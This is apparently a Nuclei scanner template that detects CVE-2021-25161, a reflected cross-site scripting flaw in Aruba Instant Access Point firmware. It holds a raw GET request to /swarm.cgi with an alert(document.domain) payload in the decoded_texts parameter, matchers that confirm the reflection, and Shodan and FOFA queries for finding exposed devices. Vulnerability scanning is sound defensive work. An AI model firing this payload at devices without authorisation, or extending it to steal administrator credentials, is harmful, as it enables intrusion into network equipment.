Aruba Instant Access Point (IAP) - Cross-Site Scripting

id: CVE-2021-25161

info:
  name: Aruba Instant Access Point (IAP) - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the decoded_texts parameter, potentially stealing administrator credentials or manipulating access point configurations.
  remediation: |
    Upgrade to the latest version of Swarm that addresses this vulnerability.Implement proper input validation and output encoding for user-supplied data.
  reference:
    - https://alephsecurity.com/2021/07/15/aruba-instant/?utm_source=feedly
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25161
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25161
    cwe-id: CWE-79
    epss-score: 0.16372
    epss-percentile: 0.9658
  metadata:
    verified: true
    max-request: 1
    vendor: aruba
    product: aruba-instant-access-point
    shodan-query: title:"Aruba"
    fofa-query: body="jscripts/third_party/raphael-treemap.min.js" || body="jscripts/third_party/highcharts.src.js"
  tags: cve,cve2021,xss,aruba,web,vuln

http:
  - raw:
      - |
        GET /swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(document.domain);//%0a%27 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - var decode_string = '"';
          - alert(document.domain);//
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
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